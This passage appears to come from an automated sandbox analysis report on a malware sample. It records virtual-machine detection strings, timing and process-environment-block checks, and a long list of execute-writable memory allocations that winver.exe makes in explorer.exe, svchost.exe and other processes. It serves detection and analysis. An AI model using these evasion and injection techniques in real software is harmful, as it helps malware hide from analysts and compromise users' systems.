Source: SearchApp.exe, 0000000B.00000000.1823735672.0000024B55C00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware workstation 12 player\|vmpl5459
Source: SearchApp.exe, 0000000B.00000003.1812374144.0000024B5CBD5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmware workstation 15 playerrecord sound:wux:record soundebi
Source: SearchApp.exe, 0000000B.00000000.1823735672.0000024B55C00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|\|vmware6886
Source: SearchApp.exe, 0000000B.00000003.1812027096.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000000.1823735672.0000024B55C00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|hyper-v manager\|vm4595
Source: SearchApp.exe, 0000000B.00000000.1823735672.0000024B55C00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware vsphere client\|vcenter5038
Source: explorer.exe, 00000003.00000002.2901515644.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000003.00000002.3032615601.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: SearchApp.exe, 0000000B.00000000.1823735672.0000024B55C00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware horizon client\|vmare7220
Source: RuntimeBroker.exe, 0000000A.00000000.1738554680.000001ECFA2A4000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\java.exe	API call chain: ExitProcess graph end node	graph_0-3089
Source: C:\Windows\SysWOW64\winver.exe	API call chain: ExitProcess graph end node	graph_2-2570
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	API call chain: ExitProcess graph end node	graph_12-5585
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	API call chain: ExitProcess graph end node	graph_12-5409
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	API call chain: ExitProcess graph end node	graph_12-5895
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\SysWOW64\winver.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\java.exe

Code function: 0_2_02260005 rdtsc

0_2_02260005

Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_00401000 mov eax, dword ptr fs:[00000030h]	0_2_00401000
Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02260C63 mov eax, dword ptr fs:[00000030h]	0_2_02260C63
Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_02F00C3F mov eax, dword ptr fs:[00000030h]	2_2_02F00C3F
Source: C:\Windows\explorer.exe	Code function: 3_2_01380C3F mov eax, dword ptr fs:[00000030h]	3_2_01380C3F
Source: C:\Windows\explorer.exe	Code function: 3_2_013A0C3F mov eax, dword ptr fs:[00000030h]	3_2_013A0C3F
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC0C3F mov eax, dword ptr fs:[00000030h]	4_2_00AC0C3F
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00910C3F mov eax, dword ptr fs:[00000030h]	5_2_00910C3F
Source: C:\Windows\System32\svchost.exe	Code function: 6_2_009A0C3F mov eax, dword ptr fs:[00000030h]	6_2_009A0C3F
Source: C:\Windows\System32\ctfmon.exe	Code function: 7_2_00A50C3F mov eax, dword ptr fs:[00000030h]	7_2_00A50C3F
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_00D40C3F mov eax, dword ptr fs:[00000030h]	8_2_00D40C3F
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: 9_2_00B50C3F mov eax, dword ptr fs:[00000030h]	9_2_00B50C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 10_2_00110C3F mov eax, dword ptr fs:[00000030h]	10_2_00110C3F
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 12_2_001C0C3F mov eax, dword ptr fs:[00000030h]	12_2_001C0C3F
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 12_2_02380C63 mov eax, dword ptr fs:[00000030h]	12_2_02380C63
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 15_2_00AB0C3F mov eax, dword ptr fs:[00000030h]	15_2_00AB0C3F
Source: C:\Windows\System32\smartscreen.exe	Code function: 16_2_00290C3F mov eax, dword ptr fs:[00000030h]	16_2_00290C3F
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 17_2_001C0C3F mov eax, dword ptr fs:[00000030h]	17_2_001C0C3F
Source: C:\Users\user\AppData\Roaming\F90F00A9\bin.exe	Code function: 17_2_023A0C63 mov eax, dword ptr fs:[00000030h]	17_2_023A0C63
Source: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe	Code function: 19_2_00580C3F mov eax, dword ptr fs:[00000030h]	19_2_00580C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 20_2_003D0C3F mov eax, dword ptr fs:[00000030h]	20_2_003D0C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 23_2_00900C3F mov eax, dword ptr fs:[00000030h]	23_2_00900C3F
Source: C:\Windows\System32\ApplicationFrameHost.exe	Code function: 24_2_00180C3F mov eax, dword ptr fs:[00000030h]	24_2_00180C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 26_2_00190C3F mov eax, dword ptr fs:[00000030h]	26_2_00190C3F
Source: C:\Windows\System32\oobe\UserOOBEBroker.exe	Code function: 28_2_00010C3F mov eax, dword ptr fs:[00000030h]	28_2_00010C3F
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_00220C3F mov eax, dword ptr fs:[00000030h]	29_2_00220C3F
Source: C:\Windows\System32\dllhost.exe	Code function: 30_2_006E0C3F mov eax, dword ptr fs:[00000030h]	30_2_006E0C3F
Source: C:\Windows\System32\conhost.exe	Code function: 31_2_00E60C3F mov eax, dword ptr fs:[00000030h]	31_2_00E60C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 32_2_00940C3F mov eax, dword ptr fs:[00000030h]	32_2_00940C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 34_2_00B00C3F mov eax, dword ptr fs:[00000030h]	34_2_00B00C3F
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 35_2_02860C3F mov eax, dword ptr fs:[00000030h]	35_2_02860C3F
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 36_2_02BB0C3F mov eax, dword ptr fs:[00000030h]	36_2_02BB0C3F
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 37_2_02560C3F mov eax, dword ptr fs:[00000030h]	37_2_02560C3F
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 38_2_02610C3F mov eax, dword ptr fs:[00000030h]	38_2_02610C3F
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 39_2_02520C3F mov eax, dword ptr fs:[00000030h]	39_2_02520C3F
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 40_2_02B20C3F mov eax, dword ptr fs:[00000030h]	40_2_02B20C3F
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 41_2_01450C3F mov eax, dword ptr fs:[00000030h]	41_2_01450C3F
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 42_2_02620C3F mov eax, dword ptr fs:[00000030h]	42_2_02620C3F
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 43_2_00EE0C3F mov eax, dword ptr fs:[00000030h]	43_2_00EE0C3F
Source: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe	Code function: 44_2_02D30C3F mov eax, dword ptr fs:[00000030h]	44_2_02D30C3F

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\explorer.exe base: 13A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\sihost.exe base: AC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 910000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 9A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: A50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\explorer.exe base: 1380000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\svchost.exe base: D40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: B50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 110000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: A90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: AB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 290000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 580000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 3D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 900000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 180000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: A10000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 190000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: F10000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 10000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 220000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 6E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\conhost.exe base: E60000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 940000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\backgroundTaskHost.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: B00000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2860000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2BB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2560000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2610000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2520000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2B20000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1450000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2620000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: EE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2D30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: E40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 920000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: E40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 23C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 10B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2790000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: A50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2510000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: CE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 640000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 8E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1040000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: F90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: A90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2350000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 29B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1190000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 27F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2EF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 28D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: B90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2B70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2BD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 1170000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 940000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 6E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 14D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2A30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 5E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2960000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 3010000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2560000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 13C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 13B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 25F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2EF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 5D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 550000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: A10000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: BD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 550000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2C30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 25F0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 910000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 940000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2C90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 2DA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\CHDTFKSvlOkHQvcyyyfBoeAKnjFkHGMVwUaDzSeMcICpGcJJICWtNWz\qqQDbrYlXafmy.exe base: 8D0000 protect: page execute and read and write	Jump to behavior
